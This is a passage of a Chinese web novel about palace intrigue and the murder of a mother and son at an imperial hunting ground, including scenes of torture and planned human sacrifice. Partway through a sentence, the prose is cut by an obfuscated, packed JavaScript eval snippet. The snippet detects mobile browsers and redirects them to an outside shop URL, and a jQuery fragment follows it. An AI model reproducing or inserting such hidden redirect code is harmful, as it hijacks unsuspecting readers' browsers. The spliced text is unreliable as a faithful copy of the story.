赵毓,“啊?” 文湛,“我看过岐山古卷,上面记载: 郑起于两千五百年前,那个时候帝星是天乙;后来郑作为四大诸侯被正式册封,建宗庙,立社稷,那个时候的帝星是太乙;八百年后大郑定鼎华夏,帝星就是紫微,一直到今日,千年未曾改变。” “北辰亦非永恒不变,何来‘为政以德,譬如北辰,居其所而众星拱之’?” 又开始下雨,猎宫琉璃瓦片上噼里啪啦,倒是不烦人,挺催人入眠的。赵毓就着文湛摘的山果子喝了汤药,裹着被子睡了两个时辰,奉宁过来的时候,文湛处理北境的军报,不在殿内,而他正吃鸡肉菌子粥。 薛宣平曾经说过奉宁是“雍京公子相”,其实就是小白脸的文雅说法。由于不需要常年面朝黄土背朝天,这群王孙公子的确比常人白了一些,可是如奉宁这般惨白到如灰烬一般,也是不常见的。 “兄长,……,李氏出事了。” 赵毓跟着他赶到安排李氏暂住的那间屋,还没进门,一股熟悉的腥甜味道,充盈在这个白墙黑瓦的屋子周围。 他安静进去,看见内屋中一张木床。 这对母子躺在床上,抱在一起,被一柄长剑贯穿。 母子不分离,却没有生路。 有些恶心,赵毓捂了一下嘴巴。 常年征战,比这种场景更血腥的他也见过,也见惯了,本来应该没有任何感觉,无悲无喜,可是他就是感到恶心。 这对母子死的无比安详,甚至都有些平安喜乐了,仿若她们再也没有任何苦难,就算做成画像,都符合文湛的期许,——以昭教化。 死亡不是这样的。 死亡混乱而血腥,尸体极似活人而又不是活人,因而肢体呈现活人摆不出来的僵硬,更甚者还有似牵线木偶般的扭曲。 如果此母子二人被摆成那样,甚至手脚折断,头颅向后,都会是和谐的。 因为那表明了杀人就是挑衅! 可是眼前却不是。 赵毓就感觉眼前的场景好像徐玚面对程风,可以在奏折上杀人,可以派人灭人家满门,却无法亲自提刀,因为他承受不住溅到手上血肉的温热。 所以他残酷却虚弱。 眼前则是残酷而谄媚。 似乎怕触怒谁,杀了人也不敢嚣张,而是小心翼翼摆放了母子。人家死了,都要被弄出一副升大罗天的极乐景象。 可是他们杀了人。 他们依旧杀了人! “兄长。”奉宁说,“这是有人攻击您以及西北军旧部吗?” 徐玚是西北军旧部,赵毓的犯人则代表他本人,而他本人甚至曾经被石慎以利箭指喉,接下来是谁? 赵毓,“像,挺像的。” 奉宁,“程风不会出事吧。” 赵毓转身向外走。 184. 184 184 黄枞菖提着一个小陶罐子,内里装着温热的米粥,想着早上赵毓没吃几口,他要是饿了,随时能垫吧点。可是一到此处白墙黑瓦房屋门外,就看见赵毓急匆匆自里面走出,身后则是奉宁。 “呃,怎么了这是?”黄枞菖甚是奇怪。 奉宁,“去祭台关押程风处!” “是吗?” 黄枞菖见赵毓接过雪鹰旗兵士手中的缰绳,翻身上马,一勒缰绳,向前奔去。 “可是……那不是祭台的方向,那是……” 黄枞菖赶忙将陶罐子也递了出去,扯过一匹马的缰绳,此时奉宁也跃上马鞍。 “猎场北!” 那是从雍京押送犯人进猎场的方向。 解家父子被装入囚车的笼子中,一路颠簸,从出雍京南门开始东倒西歪,这对父子快把胆汁都吐出来了,但是无人在意,似乎他们就是两个麻袋,还不会喘气儿,除了尽快被运送到目的地之外毫无价值。 终于,暗夜已尽,旭日东升,炽热而高悬的日头下,官道的尽头显出恢弘的森林,无边的参天古木高耸入云,如一道道巨擘支撑住苍穹。一匹玄色战马如同闪电由远及近,似乎可将惊雷甩于身后。 赵毓勒住马,由于方才实在过快,被勒住缰绳的战马前蹄高高扬起,发出一阵长而尖锐的嘶鸣!他揪住缰绳,在囚笼前面转了好几圈才停下来,随后下马,此时后面的奉宁、黄枞菖,还有紧随其后的十八骑雪鹰旗才赶到。 押送解家父子的禁军没见过赵毓却认识奉宁,他们一看这架势,就明白是上峰的上峰到了,于是连忙见礼,随即侍立一侧。 “你家那儿媳妇到底是怎么回事儿?”面对着对父子,赵毓可没有面对李娘子的耐心,“说实话,我没心思跟你们打岔。” 姓解的年轻人脸上还有些不舍和痛苦,可是这姓解的老男人脸上却是鄙夷和痛恨,鼻腔中呲出来一句,“妇人误国,啊!” 赵毓耐心有限,听他又是捣腾这句怪话,用马鞭狠狠打了一下囚笼外面的木栅栏,吓的解某人一哆嗦,他才说,“你家那儿媳妇长的挺美的,她……” 姓解的恨一口气,“果然是贱妇!” 赵毓听着一愣,这都哪儿跟哪儿?他本来想说,她一看就养尊处优根本不是为了一口吃食要卖性命的人,结果被姓解的截了一段,正在莫名其妙,转脸看见李娘子的夫婿脸蛋子流露出一股奇异的愤怒,随之而来的则是羞愧,他这才想明白,这解氏父子根本没担心李娘子的性命,而是误以为她贞操被毁。 “奉宁!”赵毓喊了一嗓子,“跟这种王八羔子说话真他娘的费劲,你来问!” 奉宁问起来就是例行公事,因为有个关键的点他不能说,就是李氏和孩子的死亡,所以问起来就很是有所顾忌,而这解氏父子则是一直沉默,即使李氏的丈夫似乎想要问问他妻子的事情,却碍于他爹,再也没有开口。 “不想知道你老婆怎么样了?”赵毓忽然插了一句。 沉默。 赵毓,“你老婆最挂心的还是孩子,那好歹是你老解家的根苗,你也不想知道?” 终于,他有些忍不住,甚至连他爹都有些忍不住了。 赵毓,“那孩子我见了,看着挺伶俐的,就算你再找个婆娘,也未必能生出这种灵透的娃。这生孩子就跟抓阄一样,有资质的孩子可遇不可求……” “婉娘怎么样了?”解家的儿子终于忍不住,开口了。 “混账!”他爹抡了他一巴掌。 赵毓看着他们父子,而那姓解的则垂首低头,依旧沉默。 “她死了。”赵毓忽然说。 “兄长!”奉宁想要拦阻,却是枉然。 赵毓又说,“她儿子也死了。” 将没有底牌的底牌过早掀开,如何同解家父子进行博弈? 李氏的丈夫则被震惊,随后开始狂笑,笑着笑着,就开始嚎啕大哭。 而姓解的双眼盯着赵毓,却是微微松口气。 赵毓冷笑,“悬着的心放回肚子了,那妇人死了,罪证就没了,只要人活着,还是能自辩的,还能活。虽然孩子也死了,可是又怎么样呢?有命,也许还有钱,女人终究会再有的,孩子也会再生的,是不是?” “你那儿媳妇未必不知你这小九九,可是孩子在你们手中,她又能怎么样呢?” “可是,她终究是个活人。” “不论男女,是个活人都不想死。” 说着,赵毓又笑了一下,这一次甚至有些温和的意味了,“妇人误国?呵!你不是妇人,你是男子汉大丈夫,你顶天立地,那就要看看你这身子骨能熬刑到第几重了。” 姓解的看赵毓这样,油然而生的恐惧,“你想干什么?” 赵毓,“她死了,可我想问的事情还没个着落,总得从你嘴里撬出点什么吧。” “奉宁,把他们先押回猎场,找个宽敞的地界,砍两根不粗不细的树,做成大夹棍,直接夹他们爷儿俩的脑袋瓜子。我倒想看看,这大活人的脑瓜袋子比西瓜能硬上几成!” 之前柳密以为自己是邺郡人,雍京只是做官的地方,等致仕,他终究会回到自己的家乡。如今在猎场这几日,他忽然觉得雍京也勉强算是他的另外一个故乡,那里朝章明晰、典彝俱备,完全不似猎场这边礼崩乐坏。 他有些想念雍京了。 都察院与刑部、大理寺并称三法司,甚至拥有“大事奏裁、小事立断”的权力,遇到重案,三司会审,案件审理肯定有用刑,甚至有用重刑的时候,但都会严格按照法度,否则就是纲纪败坏,甚至有奸邪构党之隐患。 如赵毓这般,不顾物议沸腾,公然执私刑,但凡踏出猎场一步,作为都察院左都御史,柳密都有弹劾纠举之责。 只是…… 祈王连同他的刑场都在猎场之内,此时南苑遵奉王族狩猎之法,他无权干预。 赵毓的眼神向周围四散。 “殿下。”柳密,“肯定无人来。” “呃……”赵毓公然在这里处刑,就是想钓出灭李氏母子之后的幕后之人,“我再等等。” 柳密摇头,“不能再继续了,如果再用刑,这对父子的脑袋,当真会碎裂,血溅当场。” “李氏母子被灭口,那些人也不会放过解家父子,可是,背后灭口是一回事,当着您的面杀人却又是另外一回事,这是隐匿罪责与谋逆的区别。” “如今九成可以确定,这事牵扯猎场内王公。王公贵戚罪犯滔天也可向陛下求情,罪责几何,宽恕与否,俱是君恩。可谋逆却会祸连九族,个种不同霄壤之差异,他们分得清楚。” 闻言,赵毓冲着奉宁一抬手,那边停止了刑罚。 柳密,“殿下想知道什么?” 赵毓,“这家人虽然户籍是商户,可是从人到物件,似乎与王公贵戚有些千丝万缕的关系,可他们到底与哪家王公有关系,我却不得而知。” 柳密,“郡王那里可有获?” 赵毓,“梳理过他们的黄册户籍,一无所获。解家既不是哪家的奴仆,又不是哪家的姻亲,当真干净到奇诡。” 柳密对奉宁说,“劳烦郡王到宗正寺调取《世本谱牒外系补录》。” “呃……”赵毓同奉宁一起疑惑。 赵毓问,“那是什么东西?” 柳密叹口气方说,“宗正寺的《世本谱牒》是记载帝王、诸侯世系的史籍,只标明了世系子孙、正妻、受册封的侧妃等这些人的信息,至于各府的妾则不再其中。可按照大郑律法,妾的户籍也需在官府登载入册,以正其子女的出身,所以宗正寺对于各府的妾有另外的补录。” “如果说解家与某位王公有关,以目前的情境来看,极有可能他们家女公子做了高门贵妾,毕竟以解氏商户的门第,除非特殊境遇,否则无法做受册封的侧妃,更不要说各府正妻了。” “若当真出现此等姻缘,需陛下亲自下旨册封,我们都会有所耳闻,可目前看来,近十年来,雍京并无此等罕见良缘。” “解家女公子出阁,因而她的户籍不在解家,殿下与郡王梳遍解氏黄册未见此人踪迹,如果她当真得入高门,户籍应当就在补录名册上。” 赵毓与奉宁互相看了看。 柳密,“郡王年轻,不通此事尚且情有可原,殿下是曾经纳过妾的大郑王公,怎也不通此事?” 他们都知道,柳密点赵毓的就是当年高昌王也就是“小莲”入祈王府那件事。 “可是……”赵毓却说,“我纳妾,是陛下帮我办的。” 柳密,“……” 赵毓,“当年陛下还是东宫太子,对我管教极严。我府里的人都得他过目。我王府挑人,他帮我掌眼,他出银子,他帮我做小莲的户籍。我就没管这事儿,什么都不知道。” 柳密牙缝里挤了半天,“陛下,果然……” 忽然住口,理智勒住了他,不能议圣。 否则,是为大不敬。 他迂回了一下,“殿下海纳百川,日月入怀。” 赵毓,“……” 只是,他刚想着让奉宁回一趟雍京,又着实犹豫。 柳密,“殿下可是担心他们再灭口,郡王空走一趟?” “空走一趟到不算什么。”赵毓叹气,“我的确担心他们再灭口,或者,他们已经这样做了。不过,如果事情还没有坏到这一步,我怕穷追猛打惊了蛇蝎,被牵连之人本来还有一线生机此时也断了,就算拿到户籍名录,可折损了人命,也是得不偿失。” 此时需权衡。柳密也懂,做任何决定都需要权衡利弊,只是将活生生人命放上秤盘,这就不是一般人能掌控的了的。 不远处一人一马疾驰而来,是燕王的私兵。到近前,那人翻身下马之后,先是拜了赵毓与柳密,随后则至奉宁身旁,在其耳边窃窃几句,奉宁点头,吩咐那人,“我知道了,你回复父王,兄长、柳大人与我即刻过去。” “是。”那人得到回复,立刻骑马回程。 “昨日陛下便命我父王回雍京宗正寺取补录,我父王已回猎场复命。”奉宁则平静叙述道,“方才是燕王代传旨意,宣兄长、柳大人祭祀高台觐见。” 这个消息令赵毓与柳密着实意外! 半晌,赵毓来了一句,“我就说,陛下知道王公纳妾如何做户籍,怎么样,我没说错吧。” 柳密,“呃……” 南苑的祭祀高台令人敬畏。 它依山而建,在峰峦之上再堆巨石,原始而粗糙,仿若一座古老的京观,屹立千年,昭示着大郑列祖列宗恒河沙数伟烈丰功。 高台有无尽火把,一层一层,燃着松油,不舍昼夜爆裂烧着,火光贯连,似可通天。 文湛在高台之前的河谷营地。 雪鹰旗在这里的人数颇多,比之前皇帝出行身边跟随的人数要多上很多。 人马俱是,厚重的压迫感。 众人见礼。 文湛则微微轻笑对赵毓说,“我见到一个,你肯定会喜欢的姑娘。” “……” 那边跪着几个妇人,其余都是南疆女性战俘,最靠边的一个,穿着则是郑人女子的粗布裤衫。那姑娘不大不小,二十岁上下的样子,虽然瘦,但脸却圆润,只看脸蛋子,竟然是一副吃喝不愁的模样。 她有一股奇异的精神头儿! 让赵毓一看到她,就想起来如今在自己元承行镇宅的那只山东狮子猫第一次跑到院子中偷肉包子时候的样子。当时它也就三个月大,毛发已经打卷,眼神却是炯炯,撕咬住一粒肉包死不松口,把薛宣平吓的哇哇叫。 ——别说,还真是他会喜欢的姑娘。不过…… 赵毓疑惑问文湛,“陛下怎么知道我会喜欢她?” 文湛又轻笑一下才说,“这里外紧内松,河谷有重兵,战俘无法逃走,看守也松一些,不过,这样也着实有些……” 说到这里,文湛还微微摇头,“我过来的时候,她们这几个正在河岸边揪一种草。我方才问了,据说是斑斓叶,从南疆传过来的香草,喜阴湿,长在水田、河边、山谷中,用来裹肉烤有奇异的香气,还能多吃几碗粟米饭,这是她说的。” “呃。”饶是赵毓脑袋瓜灵,此时也不知道要说啥,“多,多……,多吃几碗饭?” 大郑祖制,人殉牲畜上祭祀高台活剐之时要圆润,寓意六畜兴旺,所以人殉的口粮本来就不错,烤肉拌粟米饭,甚至还有果酒。 但是人终究有恐惧,一般人就算再没心没肺,断头饭也不会胡吃海塞。 这姑娘还真不是一般人。 文湛,“此女饭量极好,而且对于野味见识也广博。这几日,已经将附近的山野果子,河中鱼虾,还有附近能吃的野草都挖来。她们还找到后山一株几百年的柑橘,剥橘皮下来,与鱼一起煮加一些菘蒿,看守他们的兵士都能吃三碗。” 赵毓,“……” “承怡,你有没有发现?” “发现什么?” 文湛,“她们吃胖了。” 赵毓,“……” 他顺着文湛的眼神,仔细看了看那姑娘身后的几个南疆女战俘……的脸蛋子。他记得之前她们进猎场的时候,都是瘦长脸,此时她们腮帮子都鼓了起来,显得有些过于“六畜兴旺”了。 “呃,这……”赵毓,“这姑娘是谁呀?” 文湛,“清河长公主送五名无辜妇人进猎场,妄图混淆人殉。其中四名已经送出南苑着温挚看顾。有家可归的送回家去;无枝可依的可怜人留温挚处再图以后,或做工或嫁人随她们心愿。” “而此女子,则是最后一位无辜之人。” 闻言,赵毓意外,而奉宁则意外到惶恐的地步,——前几日,他们放生,放走的可是足足五人! 有五名无辜妇人被投入猎场,险些求生无门,奉宁以及手下人,则是梳理了很多遍人殉名册才将这五名妇女摘出来。虽然如今不至于宁错杀毋错放,可赵毓也是偏向先将所有人圈在猎场之内,等狩猎结束之后再行定夺。 当时,文湛一言九鼎,在疑惑重重之时直接放人。 作为臣子,赵毓奉宁自然遵旨。 虽然他们并不明白,当时文湛到底发现了什么端倪。 如今看来,陛下已然查证。 可罪人混迹于无辜人放生之列,致使真正的无辜人险些上了祭台,奉宁犯有失察之罪。 文湛一摆手,制止奉宁请罪,转而吩咐,“将那罪妇押过来。” 雪鹰旗两名旗官亲手压着一名妇人走过来,按住她,跪在众人面前。 赵毓上前仔细打量: 这名妇人年纪也是二十岁上下的样子,头发挽发髻,是嫁过人的样式。她面容憨直,圆脸,肉鼻子,塌鼻梁,一双眼睛不大,眼神颇为老实厚道。她身上则是郑人女子日常布袄布裙,衣服料子是足的,由于身材有些壮实,只是显得不那么空旷宽大而已。 ——只是普通壮实可能还很厚道的村妇! 赵毓在西北和冉庄见多了这样的妇人,大多勤俭持家,老实本分,生儿育女,侍奉公婆,很是符合文湛对妇人“昭教化”的偏好,当真看不出任何阴谋诡异的痕迹。 这时候温挚到了。 文湛吩咐她先将那无辜姑娘领到前方营地,换身衣服,再给她做些吃食,等她缓缓神再问话。结果那姑娘跟着温挚走的时候还打了几个饱嗝,弄到柳密都差点笑出声,只是,当她走出众人视线,回头看了一眼赵毓。 文湛,“奉宁筛出那五妇人,最后问了一遍话。” 奉宁连忙答,“是,臣记得。” 文湛,“承怡,她一开口,我就知道她的身份了。” 赵毓,“啊啊啊啊?” 文湛,“你不觉得她的声音耳熟吗?” 赵毓又仔细想了想,摇头如同拨浪鼓。 文湛,“她同沈臻在讲雍京官话时,将嚷、宁、黄、王等几个字的起始音和尾音都念错,断句也不对,可是他们错的地方却是一模一样。” “她就是教沈臻官话的那个人,籍贯姑苏。” 赵毓忽然想起来,去年文湛见沈臻第一面就点过,沈臻的官话中有吴腔! 赵毓惊,“陛下,你是说……,您的意思是说……” 文湛,“奉宁将那五人筛出来,我也没有十分确定,只是十分怀疑,这才将她们全部放生。随后我出猎场一路跟踪查证,不出一日便有结果。终究是她道行太浅,也是他们过于心急。” 赵毓,“她到底什么来头?沈臻为什么会向一姑苏村妇学吴语腔调的雍京官话?” “她不是村妇,这罪妇是瘦马。”文湛,“被送给沈臻为妾。” “啊啊啊啊啊啊!!” 赵毓大叫,“怎么会有相貌如同猪刚鬣一般的瘦马???” 那妇人忽然抬头,恶狠狠盯着他。 “……”赵毓有些结巴,“我……我不是那个意思……呃……” 那妇人,“你们男人光盯着女人家脸孔看,为人浮面儿,做事情搭浆,不上台面!” 赵毓,“……” 此时,文湛却幽幽地说,“哥哥自然只知道江南献过来的瘦马容貌姝丽、豆蔻年华,歌舞琴棋书画无不精通,那是因为王公贵族拣瘦马自然是挑顶尖的掐走。” “殊不知,这瘦马也分三六九等。” “有些女子姿容上差一些,学一些看账算账的本事,被买入主人家管账目,也好梳理日常开销。这罪妇在沈府,便是此等功用。” “哥哥高门,内府有专门的账房,自然对这些人和事,不上心。” 赵毓,“……” 半晌,他喃喃说,“我不是那个意思,我真不是那个意思!” ——不对! “她管账!”赵毓一回神,指着跪着的妇人道,“也就是说,沈臻手中关于漕运仓场的账目,根本不在溯黛手里,而在她手中!” “是。”文湛点头,“我一直奇怪,既然有人甘冒大不韪将高昌那疯妇运出猎场,为什么不赶紧逃命,反而四次三番再回南苑搅弄?此时我明白了,那些人见到高昌疯妇那一瞬,应该也明白了。” 赵毓点点头,“溯黛是高昌王女,可她从小不在汉地长大,不识汉字,根本管不了账。如果旨在漕运,那些人必须再找人进猎场,将真正握住沈臻账目的人换出来。” 文湛,“李氏本就是必死之局,可是他们没有算准奉宁在西北认识高昌疯妇,所以李代桃僵之事暴露过早。不过他们到也沉稳,而且极擅谋划,直接将计就计,趁李氏暴露之时,借着猎场清查人牲之机,搅了一个五妇人局,想着趁乱浑水摸鱼,将这姑苏罪妇混出猎场。只差一点,他们居然也就得逞了。” “陛下可知,谁为幕后之人?”赵毓又问,“李氏母子之殇血腥残酷,这背后究竟是何勾当,她丈夫解家又与哪家王公勾连,陛下知否?” 文湛看了看他,才说,“维黍维稷,维糜维芑。恒之秬秠,是获是亩。恒之穈芑,是任是负。” ……呃。这是“天要下雨”的陛下文雅版吗? 沈臻这个忽然冒出来的妾,因为干系太大需要重点查问,赵毓想着先去温挚那里看看那位姑娘,如果没有别的问题,就让温挚的人先将她带离猎场,毕竟这里终归不是一个安稳的地方。 这姑娘有极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729042|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强的生存能力,到也不缺少吃食,温挚让人准备了热水,给她洗洗脸,梳一下头发,换上一身干净的衣服,此处毕竟是营地,不好沐浴,等一切出去了再说。 可这姑娘的头发多日未洗,也不是涂抹桂花油的事儿,而是单纯就是时日长久,如同长久没有住人的院落,颓垣断壁,杂草重生,温挚帮她梳理的时候实在过于费劲,只能再让人烧一大锅开水,重新给她洗洗头发。 赵毓看着她,心中有些异样。 他感觉身后有人,一回头,见是黄枞菖,手中拿着一个木塞封了口的小陶罐子,和一小木盒子蜜饯,“这是谢大夫熬的药汤子,主子让我给您拿过来,还有点甜果子,喝完药可以清清嘴。” 赵毓,“这时候我喝不下。这么着,你去取两坛子高度烧酒过来。” 黄枞菖,“没到晌午,这个时候饮烈酒要配横菜,现在吃了,怕一会儿正点吃饭就没胃口了。” “不是。”赵毓摇头,“这姑娘头发里面有虱子。一会儿,等温姐姐给她洗完了头,用烧酒包裹住,闷上一天,就能把那玩意儿全灭了。” “咦~~~~”黄枞菖一呲牙,“好好一大姑娘,还没出阁吧,怎会如此腌臜?” 此时,温挚将那个姑娘的头发冲洗完毕,她让温挚扶着坐直,湿润的头发拢到脑后,露出光洁的额头,还有一双如同夜中豹子一般的黑亮眼睛,往赵毓这边,看过来。 赵毓,“她……应该是,走了很远的路。” 温挚用黄枞菖取来的烈酒为这姑娘包裹了头发,赵毓递过去一颗蜜饯。 “姑娘,你,……是不是见过我?” “也许小时候见过……”她接过去这颗蜜饯,就像十年前那个明月高悬的夜里一样,她也是这样,从他手中拿过去一颗杏子干。 敦煌的沙丘上,燃着火堆,用琵琶奏着《十面埋伏》,箜篌拨动着《阳关三叠》,欢声笑语,歌舞喧天,炙烤的羊腿和拉莫孔雀河鱼的焦香气味,一坛一坛的葡萄酒,被喝下去,顺着满是琼浆的嘴角流淌下来,润湿了胸膛,流淌在沙土上,仿若人血一般。 那姑娘双手捏住蜜饯,低头,“当时我还太小,不记得了。” 赵毓向后退了半步,坐在一旁的胡床上,“你,……,怎么到猎场来了?” “我当时刚到朱仙镇,盘缠让人偷了,本来想着那里是商贸重镇,找个活做很容易,可是人饿了三天,没什么力气,正想着讨一个馒头吃,就听见街上过去两个姐姐说悄悄话,有大财主请人扮观音,被选上酬劳是二十两白银,如果没被选上,也能有一顿饱饭,所以我就去了。” 温挚说,“和你一起来猎场的还有四位娘子,都在我那里安置。其中一位被家人接走,另外三人,家里将她们换了银子,已经恩断义绝了,她们便不再归家,就留在我府中。姑娘,如果你还有去处,我让人告知你家人过来同你团聚。” 那姑娘轻轻咬了一口蜜饯。 温挚,“姑娘,你的家人呢?” “死了。”她又咬了一口蜜饯,“死绝了。” 温挚一愣,她扭头看了看赵毓,却发现赵毓脸色极差,甚至一只手一直扯着胸口,很难受的样子。 她又问,“姑娘,你家里……是做什么的?” 那姑娘又将蜜饯咬了咬,方说,“我爹原是边军把总,正七品武职,原本驻敦煌,后来西北军裁撤,我爹跟随程风将军驻守辽东。再后来,程风战败投敌不知所踪,我爹所在部队被分到文王戎氏部署。后来又后来,北境乱了,我爹他们并不是戎氏嫡系部队,艰时,没有银饷,没有兵器,没有粮食,成为弃卒保车的卒子,被弃在辽河。当时他们想入关,可是山海关已经全面封锁,雄踞高山的九门口也已被堵死,他们回不来了。” 温挚此时方知,赵毓为何如此难受了。 她,“令尊战死了?” “没有。他们降了。”那姑娘方将眼睛从蜜饯上移走,看着赵毓,“降了高昌王。” 温挚一愣!——这是投敌叛国。 “我爹他们跟着高昌王吃过几顿饱饭,后来后来再后来,战死了。” “我娘殉了夫。” “我没有其他亲人,可我不想在辽东,还有一些人也不想。高昌王向朝鲜借了船,送我这样的人从海上入了关。他说,拿着盘缠向南走,天气暖和了,山川秀丽,草木丰茂,好日子就来了。” “最后,我到了猎场。” “我知道这里不对劲儿,当时有人清查人数,但是我太累了,就睡着了。等我醒,同我一起来的那四位都不见了,我想着找当头儿的说道说道,还没来得及,你们就来了。” 温挚,“可是,姑娘,叛国是株连九族的大罪。” “叛国?”那姑娘又低头看着蜜饯,“断粮的时候怎么活?树皮,藏粮食的鼠,饿死的孩子,甚至是观音土,能吃的都吃了,有些姨甚至去卖了身。怎么,同类相残的血肉,可能传染瘟疫的野物,一天过十个男人换的馊泔水,这些都能吃,高昌王干净的饭菜吃不得吗?” 赵毓忽然站起来,转身向外走,黄枞菖连忙将手中的家伙什放一旁,向外追出去,临出营帐还急着对温挚说,“温夫人,看住她,一定要看住她!这些话不要再说了。” 温挚叹口气,什么都没说。半晌,她开口问这个姑娘,“你叫什么名字?” “喇叭花。” 温挚,“有大名吗?” 这次,那姑娘不说话了。半晌,她才说,“有,还是他给取的。” 温挚,“是什么?” “姜旋。”那姑娘说,“他说,伞一样的花朵在他家乡都叫旋花。旋花有很多种,有的只是单纯美丽,有的可入药,还有一些,则是毒性深重,可致人迷幻,甚至发疯。” 其实渡海之前,高昌王就对他们说过:他们与赵毓的缘分早就断了,从西北军被裁那一日就断了;他们与家国之间的守护与背叛,也于父兄战死之时了结;他们入关之后就与往昔再无瓜葛,以后天高海阔,不要再回头。 可是,姜旋又看着手中的蜜饯,已经被啃咬到只剩下最后一点,牙齿切开的端口却有些模糊,很像这段时日,也如同生与死的边界,一样的模糊不清。 外面起了风,也卷起来乌云,明明方才还算是朗朗乾坤,此时已经初现昏暗无边的征兆了。 暴风雨欲来。 赵毓不知道自己想要去哪里,黄枞菖追过来揪住他的胳膊,一直在说些什么,可是他听不明白,他只是看见黄枞菖的嘴皮子一直在动,就是听不清他的话,如同人在水中,一起感官都是模糊的。 他忽然向一个地方走过去。 柳密亲手将程风送进猎场,这段时日,也是他时不时过来关押的地方看看。虽然程风已经是御前核准罪在不赦,可是上祭祀高台之前,他就在“六畜兴旺”的范围之内,不能被作践。如今程风重枷已经取下,他手脚上依旧有镣铐,却不是锁到寸步难行,柳密给他带了羊肉汤,锅饼,还有一坛子烧酒。 程风自然知道柳密是谁,自从端午那夜午门喊冤开始,这一路走来,就是诏狱,大理寺,还有都察院,柳密一直官服严正端坐于匾额之下,他是年轻的清要文官,中枢阁臣,也许,还同赵毓是好友。 只是,柳密并不同他讲话,放下吃食,又询问了守卫几句话,转身要走,忽见敞开的营帐外,闯进来一个人,黄枞菖一直揪着他的手臂,看着像是劝阻,其实也是支撑。 那人就这样看着他,看着程风。 他背后是天空,乌云压境,已经彻底暗下来,四周的火把迎着风狂舞着,如同祭祀时可焚尽牺牲的孽火一般。 程风忽然开口,“你究竟是什么身份?” …… 那是他最后一次见高昌王。 程风忽然问,“赵毓呢?” 殷忘川拿着茶盏的手指一停。 程风又问,“西北战事一平,他就走了,再无声息,他还活着吗?” 殷忘川,“找他做什么?指望他帮你?” “不。他老丈人尹明扬是当年威名赫赫的西北王!尹大人都做不了的事,赵毓也做不了。我不想连累他。”程风说,“高昌王,你们是故交,我只想知道,他是否还活着,他过的好不好。” 殷忘川,“活着。至于他过的怎么样,我不知道。” 程风,“你能找到他吗?” 殷忘川,“找他做什么?” 他又问了一遍。 程风,“托付我十七位兄弟的骨灰。” “程先生。”殷忘川忽然以一种极其认真的口吻说,“如果你按照我说的去做,事成之后,你一定能见到赵毓。你十七位兄弟的骨灰,你程氏十三亡灵的牌位,甚至你的身后事,尽可一并托付于他。” 程风盯着他,似乎想要从那双满是冰碴的眼珠子中找出一丝一毫的佐证。 可惜。 毫无踪迹。 程风无法判断殷忘川话语的真假。 殷忘川回身,望着远处,极目所及,是肉眼凡胎看不穿甚至看不见的大正宫。 他说,“我向长生天起誓。” …… 见赵毓似乎没听清楚他的话,程风又问了一遍,“你到底是谁?” 赵毓,“先帝长子,祈王承怡。” 对于这个回答,程风觉得自己应该震惊,但似乎又没那么震惊。 “祈王殿下。”程风说,“西北军对于你来说,算什么?” 赵毓没回答。 程风,“我们是你不世功业践踏的尸骨,列土封疆开锋的利刃吗?” 良久。 赵毓轻声回答,“……我不知道。” 185. 185 185 “觉得难过就抱着我。” “……抱着我就好。” 赵毓也不知道自己如何到了外面,暗沉天光如夜幕垂下,眼前有一人,不是猎装,已经换上大朝服,那是召见重臣时的战袍,华美繁复纹路的广袖如同鹤展开的翅,双臂环住,将他扣入怀中,是文湛。他的掌心扣住赵毓的后脑,和他交颈相拥。 很像那一年,在崔珩的小院中,他绝望到崩溃,文湛也是这样拥着他。文湛不婉约也不柔软,全身硬邦邦的,还很炽热,隔着他的袍似乎都可以被他灼伤,可是他们拥在一起,却是叠上了整个生命。 重,重于泰山;高,高于北斗。 文湛什么也没问,就是在他耳边一遍又一遍喃喃重复着,“哥哥,抱着我,……抱着我就好。” 文湛身上浓重的迦楠香气,犹如一层又一层的铠甲,蔓延上来,包裹上来,将赵毓笼罩住,保护住。很久之后,赵毓听见他说,“要下雨了,咱们先回猎宫。”随后吩咐身侧,“柳从容,把马牵过来。” 赵毓这才发现,文湛身边的人是柳从容,而且他身上也是蟒袍。 柳从容领命,只是尚有丝犹豫,“主子,文王那里,已经跪很久了。” “让他起来吧。”文湛声音冷淡,“将李氏母子尸身还有解氏父子二人,一并还给他。” “就说……” “儿孙自有儿孙福。” “只不过,天要下雨,娘要嫁人,随他去吧。” 最近雨水多到令人烦躁。赵毓被文湛骑马带回到猎宫就想要睡一下,压下去令人异常不安的心惊,可是那些如同铁蹄踏过冰河一般的雨水砸到猎宫黑色琉璃瓦上,犹如桃花汛期炸裂的封冻黄河,透骨寒凉却博大洪水,裹着冰与泥沙,自高山涌向峡谷,磅礴却暴烈不羁。 他起身,发现内殿并没有别人,而外殿则有人轻轻说话。 他走过去。 外殿支着小火炉,文湛在亲自熬药。 身侧是柳从容。 原来,方才赵毓听到的很轻的话语是他,此时也是,柳从容轻轻道,“……文王肉袒负荆,跪于猎宫台阶之下,……” 赵毓知道,文湛法度极严,但他不是暴虐恣睢之君王,不会随意玩弄折辱重臣,尤其是对文王,曾助大郑定鼎华夏有大功的戎氏。 退一万步,即使文湛要将戎氏族诛,戎氏父子登天之时也一定九章冕服,即使身首异处也必然华服严整,必不会袒胸露背,折辱于人前。 只是,如果戎氏祈求文湛存一线生机,那就另当别论。毕竟与活命相比,华服严整又算得了什么? 柳从容说,“解家有一女,美貌出众,为世子戎久安贵妾。入府后受盛宠,为戎氏产下一子。本来戎久安想自猎场回雍京之后就上折子请封解氏为世子侧妃,只是这一来二去,就耽搁了。” “半月前,清河长公主要求戎氏出一女子替代沈臻那位高昌内眷,换人出猎场。而赴死的女子可厚葬,可厚恤其家人,只是要求绝对不能出任何岔子,一定要甘愿以命换命,于是,戎久安就想到了自家内弟妇,也就是李氏。” “哈!”文湛手中一根银勺仔细翻搅药汤,听到此处冷笑一声,“倒是忘记了,朕这位长姐,与戎氏,可真是地地道道儿女亲家。” 